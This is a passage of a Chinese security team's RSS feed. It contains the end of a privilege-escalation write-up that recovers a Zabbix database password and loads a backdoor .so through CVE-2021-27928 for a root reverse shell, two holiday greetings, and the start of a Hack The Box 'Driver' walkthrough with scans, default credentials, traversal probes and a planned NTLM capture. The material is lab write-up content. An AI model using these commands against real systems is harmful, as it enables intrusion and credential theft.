sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">发现了密码在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">/etc/zabbix/zabbix_server.conf</code></span><span md-inline="plain" style="box-sizing: border-box;">文件中，查看一下发现有</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">DBname</code></span></p><pre spellcheck="false" lang="" cid="n60" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">DBName=zabbix</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">DBUser=zabbix</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">DBPassword=bloooarskybluh</span></pre><p cid="n61" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">mysql ：</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">mysql -u zabbix -p bloooarskybluh</code></span><span md-inline="plain" style="box-sizing: border-box;"> 连接成功</span></p><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">ps aux |grep mysql</span></code><code><span class="code-snippet_outer">root       <span class="code-snippet__number">31066</span>  <span class="code-snippet__number">0.0</span>  <span class="code-snippet__number">0.0</span>   <span class="code-snippet__number">2608</span>  <span class="code-snippet__number">1704</span> ?        S    <span class="code-snippet__number">10</span>:<span class="code-snippet__number">22</span>   <span class="code-snippet__number">0</span>:<span class="code-snippet__number">00</span> /bin/sh /usr/bin/mysqld_safe</span></code><code><span class="code-snippet_outer">root       <span class="code-snippet__number">31189</span>  <span class="code-snippet__number">0.7</span>  <span class="code-snippet__number">2.9</span> <span class="code-snippet__number">1740284</span> <span class="code-snippet__number">118544</span> ?      Sl   <span class="code-snippet__number">10</span>:<span class="code-snippet__number">22</span>   <span class="code-snippet__number">0</span>:<span class="code-snippet__number">06</span> /usr/sbin/mysqld --basedir=<span class="code-snippet__regexp">/usr --datadir=/</span><span class="code-snippet__keyword">var</span>/lib/mysql --plugin-dir=<span class="code-snippet__regexp">/usr/</span>lib/x86_64-linux-gnu/mariadb19/plugin --user=root --skip-log-error --pid-file=<span class="code-snippet__regexp">/run/my</span>sqld/mysqld.pid --socket=<span class="code-snippet__regexp">/var/</span>run/mysqld/mysqld.sock</span></code><code><span class="code-snippet_outer">root       <span class="code-snippet__number">31190</span>  <span class="code-snippet__number">0.0</span>  <span class="code-snippet__number">0.0</span>  <span class="code-snippet__number">10572</span>  <span class="code-snippet__number">1064</span> ?        S    <span class="code-snippet__number">10</span>:<span class="code-snippet__number">22</span>   <span class="code-snippet__number">0</span>:<span class="code-snippet__number">00</span> logger -t mysqld -p daemon error</span></code><code><span class="code-snippet_outer">zabbix     <span class="code-snippet__number">33567</span>  <span class="code-snippet__number">0.0</span>  <span class="code-snippet__number">0.0</span>   <span class="code-snippet__number">9036</span>   <span class="code-snippet__number">736</span> ?        S    <span class="code-snippet__number">10</span>:<span class="code-snippet__number">37</span>   <span class="code-snippet__number">0</span>:<span class="code-snippet__number">00</span> grep mysql</span></code><code><span class="code-snippet_outer"><br/></span></code></pre><p cid="n64" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">有了数据库连接 + CVE-2021-27928(root权限启动+命令注入) = root权限</span></p><pre spellcheck="false" lang="BASH" cid="n65" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">mysql <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-u</span> zabbix <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-p</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-h</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">127</span>.0.0.1 <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-e</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;SET GLOBAL wsrep_provider=&#34;/tmp/backdoor.so.1&#34;;&#39;</span></span></pre><p cid="n66" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">生成反弹shell的一个so文件，传递过去。启动一下，成功获取权限</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.15480649188514356" data-s="300,640" style="" data-type="png" data-w="1602" src="https://wechat2rss.xlab.app/img-proxy/?k=8bfa8857&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpoSOMVmKBUI5RsrkVBmH0lYkyRgUhLDhxyicTC1hXPQPP8eHrpCqgrpVfaVzvL03nNhBVTeNblhbRA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n50" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><br/></p>




]]></content:encoded>
      <pubDate>Thu, 03 Feb 2022 11:44:36 +0800</pubDate>
    </item>
    <item>
      <title>ChengYingTeam祝各位朋友们新年快乐！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485016&amp;idx=1&amp;sn=8f72806eba061cf833ee1015c344c622</link>
      <description>祝大家新春愉快，家庭幸福，平安喜乐，虎年冲冲冲！</description>
      <content:encoded><![CDATA[<p>
<span>R0ckGh0st</span> <span>2022-01-31 20:00</span> <span style="display: inline-block;"></span>
</p>

<p>祝大家新春愉快，家庭幸福，平安喜乐，虎年冲冲冲！</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3d86d65e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpoJQeiaxzM38riba78HPMGb3Via5UszNf07Z3Qa1brPH1wIPKu57YPcXxLxSg1gQMTS2plmI1dDXMJhQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4255555555555556" data-s="300,640" style="" data-type="jpeg" data-w="900" src="https://wechat2rss.xlab.app/img-proxy/?k=bc1de5cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpoJQeiaxzM38riba78HPMGb3ViajLGNM7Uic9LbUNBm5JTElDvM6535dLfOfHAQyiaJiabeYK9iaHHfrNYYw%2F640%3Fwx_fmt%3Djpeg"/></p><p>祝大家新春愉快，家庭幸福，平安喜乐，虎年冲冲冲！</p><p><br/></p>




]]></content:encoded>
      <pubDate>Mon, 31 Jan 2022 11:55:35 +0800</pubDate>
    </item>
    <item>
      <title>承影安全团队恭祝各位朋友们新年快乐！Happy New Year!</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485011&amp;idx=1&amp;sn=9c56efa6cb7b3ee1c53a5c0ad07f388f</link>
      <description>承影安全团队恭祝各位朋友们新年快乐！Happy New Year!</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-01-01 18:30</span> <span style="display: inline-block;"></span>
</p>

<p>承影安全团队恭祝各位朋友们新年快乐！Happy New Year!</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=788ab437&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpoIphLxnXFz9p94dpg4ZOjYU6nOrtRroj9L3W9UZ9AxlxTPKhK5qMRzgRrcJmPrrtht0Z5ibPWtiaWw%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<div id="js_image_content" class="image_content "><!---->  <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>

<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/px3YHTjnicpoIphLxnXFz9p94dpg4ZOjYUeoUKicjnpbSB7ns8hlqr8rib0p6UGPv2ibbBgclfqwlqEuKex5DzoiaEw/0?wx_fmt=jpeg"/></p>



]]></content:encoded>
      <pubDate>Sat, 01 Jan 2022 17:59:54 +0800</pubDate>
    </item>
    <item>
      <title>【HTB系列】Driver</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485004&amp;idx=1&amp;sn=80b78e66cb869d6f4a170c3ee66502f2</link>
      <description>【HTB系列】Driver</description>
      <content:encoded><![CDATA[<p>
原创 <span>Carnival</span> <span>2021-12-26 07:00</span> <span style="display: inline-block;"></span>
</p>

<p>【HTB系列】Driver</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1b95157a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawiasibWjQFNB0gQKZv8cwJx5DuTZoLpibvl6ia0Rjd4Q3KyT9iauwz8LO5OwA%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<h3 cid="n2" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;outline: 0px;max-width: 100%;box-sizing: border-box;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;overflow-wrap: break-word !important;"><span data-raw-text="1" data-textnode-index="0" data-index="3" style="outline: 0px;max-width: 100%;color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">0x01 信息收集</span></h3><pre spellcheck="false" lang="bash" cid="n3" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">└─<span style="box-sizing: border-box;color: rgb(170, 85, 0);"># nmap 10.10.11.106 --min-rate=1000 -p- -Pn -sV</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Starting Nmap <span style="box-sizing: border-box;color: rgb(17, 102, 68);">7</span>.92 ( https://nmap.org ) at <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2021</span><span style="box-sizing: border-box;color: rgb(0, 0, 204);">-11-06</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">04</span>:09 EDT</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Nmap scan report <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> loaclhost (10.10.11.106)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Host is up (0.36s latency).</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Not shown: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">65531</span> filtered tcp ports (no-response)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">PORT     STATE SERVICE      VERSION</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">80</span>/tcp   open  http         Microsoft IIS httpd <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.0</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">135</span>/tcp  open  msrpc        Microsoft Windows RPC</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">445</span>/tcp  open  microsoft-ds Microsoft Windows <span style="box-sizing: border-box;color: rgb(17, 102, 68);">7</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span> microsoft-ds (workgroup: WORKGROUP)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 102, 68);">5985</span>/tcp open  http         Microsoft HTTPAPI httpd <span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span>.0 (SSDP/UPnP) /winrm</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Nmap <span style="box-sizing: border-box;color: rgb(119, 0, 136);">done</span>: <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> IP address (1 host up) scanned <span style="box-sizing: border-box;color: rgb(119, 0, 136);">in</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">143</span>.54 seconds</span></pre><p cid="n5" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">看到445，永恒之蓝搞一下没有</span><span md-inline="plain" style="box-sizing: border-box;"></span></p><pre spellcheck="false" lang="bash" cid="n6" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">nmap <span style="box-sizing: border-box;color: rgb(0, 0, 204);">--script</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span>smb* <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.11.106 <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-p</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">445</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-Pn</span></span></pre><p cid="n7" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">也没什么东西。</span></p><p cid="n7" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">尝试访问80有个401认证。admin:admin 密码进去了</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8942807625649913" data-s="300,640" style="" data-type="png" data-w="1154" src="https://wechat2rss.xlab.app/img-proxy/?k=08149a6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicpqsjE65mqyEEpafGmQabawiaiaiaDZvwkOsoVNJeHQGA4dKc1n0SRKCWoAbNhvORy8TdOfJqRKbiczgVA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n10" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">有一个文件上传没什么反应，找不到上传的文件。尝试对时间戳进行爆破跑了一万次不行。</span></p><p cid="n11" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">扫下5985 端口，有一个奇怪的目录 。网上搜一下wsman,发现wsman是winrm(Windows Remote Management)的一个接口。可以使用evil-winrm进行远程连接管理。</span></p><pre spellcheck="false" lang="bash" cid="n12" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[04:42:27] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  312B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /%2e%2e//google.com                              </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[04:43:25] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">403</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>  312B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /\..\..\..\..\..\..\..\..\..\etc\passwd             </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[04:46:54] <span style="box-sizing: border-box;color: rgb(17, 102, 68);">405</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span>    0B  <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-</span> /wsman  </span></pre><p cid="n13" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">盲猜可能是打印机漏洞。搞了好多天。。。。。</span></p><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">搞到这里其实心态有点崩。菜狗如我。。</span></p><p cid="n15" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">好多天过去了。</span></p><h3 cid="n16" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: center;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(255, 76, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;font-weight: 700;letter-spacing: 0.544px;orphans: 4;text-align: center;white-space: pre-wrap;background-color: rgb(255, 255, 255);">0x02 漏洞挖掘</span></span></h3><p cid="n17" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">某天听到师傅分享一个内网渗透的案例。讲的是通过欺骗服务器，强制 NTLM 认证。好好学了一下,刚好符合这个攻击场景：</span></p><ul class="list-paddingleft-2" cid="n18" mdtype="list" data-mark="-" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><li style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><p cid="n20" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">一个文件上传</span></p></li><li style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><p cid="n22" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">一个smb</span></p></li></ul><p cid="n23" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">发现这些攻击场景下有两个比较简单。通过执行.SCF 